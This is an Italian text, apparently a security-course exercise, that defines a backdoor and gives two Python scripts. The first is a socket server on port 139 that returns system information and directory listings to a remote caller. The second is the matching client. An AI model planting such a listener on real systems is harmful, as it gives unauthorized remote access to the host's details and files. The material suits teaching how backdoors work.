Una backdoor è una vulnerabilità nascosta o un punto d'accesso segreto inserito nel sistema da sviluppatori o attaccanti per consentire l'accesso non autorizzato. Questa porta secondaria bypassa le normali procedure di autenticazione, facilitando attacchi e compromettendo la sicurezza del sistema. Le backdoor possono essere utilizzate per scopi legittimi, come la manutenzione remota, ma sono spesso sfruttate da malintenzionati per fini dannosi, come il furto di dati sensibili o il controllo del sistema da remoto. La loro scoperta e rimozione sono cruciali per garantire la sicurezza informatica e prevenire attività dannose

CODE 1

```python
import socket
import platform
import os

SRV_ADDR = "192.168.32.100"
SRV_PORT = 139

# Creazione del socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    # Binding del socket all'indirizzo e alla porta specificati
    server_socket.bind((SRV_ADDR, SRV_PORT))
except Exception as e:
    print(f"Errore durante il binding del socket: {e}")
    server_socket.close()
    exit()

# Mette il socket in modalità di ascolto con una coda massima di connessioni pendenti a 1
server_socket.listen(1)

print(f"In attesa di connessioni su {SRV_ADDR}:{SRV_PORT}")

try:
    while True:
        # Accetta una connessione in arrivo e restituisce una nuova socket e l'indirizzo del client
        connection, address = server_socket.accept()
        print(f"Client connesso: {address}")

        while True:
            try:
                data = connection.recv(1024)
                if not data:
                    break  # Connessione chiusa dal client
            except Exception as e:
                print(f"Errore durante la ricezione dei dati: {e}")
                break

            if data.decode("utf-8") == "1":
                tosend = f"{platform.platform()} {platform.machine()}"
                connection.sendall(tosend.encode())
            elif data.decode("utf-8") == "2":
                try:
                    data = connection.recv(1024)
                    filelist = os.listdir(data.decode("utf-8"))
                    tosend = ",".join(filelist)
                except Exception as e:
                    print(f"Errore durante la gestione della richiesta '2': {e}")
                    tosend = "Errore nella lettura del percorso"
                connection.sendall(tosend.encode())
            elif data.decode("utf-8") == "0":
                print(f"Chiusura connessione con {address}")
                connection.close()
                break

except KeyboardInterrupt:
    print("Chiusura del server.")
finally:
    server_socket.close()

```

CODE 2

```python
import socket

# input IP e porta
SRV_ADDR = input("Type the server IP address: ")
SRV_PORT = int(input("Type port: "))


# Funzione per stampare il menu
def print_menu():
    print("\n\n0) Close the connection 1) Get sys info 2) List directory contents ")


# Creazione di un socket
my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connessione al server
my_sock.connect((SRV_ADDR, SRV_PORT))

print("Connected to the server :D")
print_menu()


while True:
    # Ottieni l'input dell'utente per selezionare un'opzione
    message = input("\nSelect the option: ")

    # Opzione 0: Chiudi la connessione
    if message == "0":
        my_sock.sendall(message.encode())
        my_sock.close()
        break

    # Opzione 1: Ottieni informazioni di sistema dal server
    elif message == "1":
        my_sock.sendall(message.encode())
        data = my_sock.recv(1024)
        if not data:
            break
        print(data.decode("utf-8"))

    # Opzione 2: Ottieni elenco dei contenuti della directory dal server
    elif message == "2":
        path = input("Insert the path: ")
        my_sock.sendall(message.encode())
        my_sock.sendall(path.encode())
        data = my_sock.recv(1024)
        data = data.decode("utf-8").split(",")
        print("*" * 40)
        for x in data:
            print(x)
        print("*" * 40)

```

Funzionamento codici